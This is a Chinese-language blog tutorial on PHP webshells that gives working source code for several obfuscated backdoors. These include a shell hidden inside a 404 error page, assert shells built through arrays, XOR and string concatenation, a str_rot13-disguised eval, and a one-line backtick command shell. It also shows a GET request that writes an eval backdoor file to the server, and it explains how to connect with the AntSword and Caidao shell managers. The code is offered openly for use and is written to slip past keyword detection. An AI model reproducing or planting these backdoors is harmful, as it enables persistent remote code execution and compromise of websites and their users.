天天看点

PHP WebShell

404页面隐藏木马

404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>           

复制

直接访问——显示定制化的404友情提示:

PHP WebShell

下面我们使用蚁剑进行连接,在链接时我们需要添加body参数:

PHP WebShell

之后设置请求信息中的body参数:

PHP WebShell

之后进行远程连接:

PHP WebShell

数据拼接PHP后门

具体代码如下:

<?php 
 $POST['POST']='assert';
 $array[]=$POST;
 $array[0]['POST']($_POST['assert']);
?>           

复制

assert是php代码执行函数,与eval()有同样的功能,因为array[]、POST[]都是数组,所以array[]=POST,就是把POST数组的值赋给array数组,这样的话array[0]['POST']的输出就是assert,所以组成了一句话木马<?php assert(

PHP WebShell

之后成功连接shell~

PHP WebShell

可变变量PHP后门

下面介绍一种通过GET函数构成木马的方法,首先上传一个get.php,文件名与文件内容不包含任何恶意内容:

<?php $_GET[a]($_GET[b]);?>           

复制

之后在浏览器中访问(有想知道url具体是什么含义的可以自我base64decode,其实就是打开文件写数据的操作):

http://192.168.174.159:82/webshell/get.php?a=assert&b=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg=='))};           

复制

PHP WebShell

之后可以看到在网站目录下生成了shell.php文件:

PHP WebShell

之后使用蚁剑链接:

PHP WebShell
PHP WebShell

可变变量木马变形

<?php ($_=@$_GET[2]).@$_($_POST[1])?>           

复制

在菜刀里写http://site/shell.php?2=assert密码是1

PHP WebShell
PHP WebShell

异或运算PHP后门

<?php 
    @$_++;
    $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
    $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
    ${$__}[!$_](${$___}[$_]); 
?>           

复制

说明如下:

Step 1:"^"为异或运算符。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。 Step 2:

("`"^"?")      01100000^00111111=01011111 —>”_”
(":"^"}")      00111010^01111101=01000111—>”G”
("%"^"`")      00100101^01100000=01000101—>”E”
("{"^"/")      01111011^ 00101111=01010100—>”T”           

复制

Step 4:___=("

("$"^"{")        00100100^01111011=01011111—>"_"
("~"^".")        01111110^00101110=01010000—>"P"
("/"^"`")        00101111^01100000=01001111—>"O"
("-"^"~")        00101101^01111110=01010011—>"S"
("("^"|")        00101000^01111100=01010100—>"T"           

复制

Step 5:{__}[!_]({___}[_]);————得到_GET[0](_POST[1]);

Step 6:构造一句话木马,将“0”当成参数,赋值为“assert”

Step 7: 使用菜刀工具连接,地址http://ip/b.php?0=assert 密码为1

PHP WebShell
PHP WebShell

rot13构造PHP木马

<?php
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
?>           

复制

在这里str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

PHP WebShell
PHP WebShell

关键名称拼接木马

代码如下:

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>           

复制

在php中“.”表示将前后单位以字符串形式拼接 数组g[1]=s, char(116)是t ,gg连起来就是assert 整个一句话为@assert(_POST(get)),直接使用菜刀连接即可:

PHP WebShell

最短的一句话木马

木马如下:

<?=`$_GET[1]`;           

复制

简易解释:"<?="是PHP的一个短的开放式标签,$_GET[1]获取传入变量名为"1"的值,而反引号包裹的内容会被成功执行一次,从而成功构造出一个一句话木马

执行效果:

PHP WebShell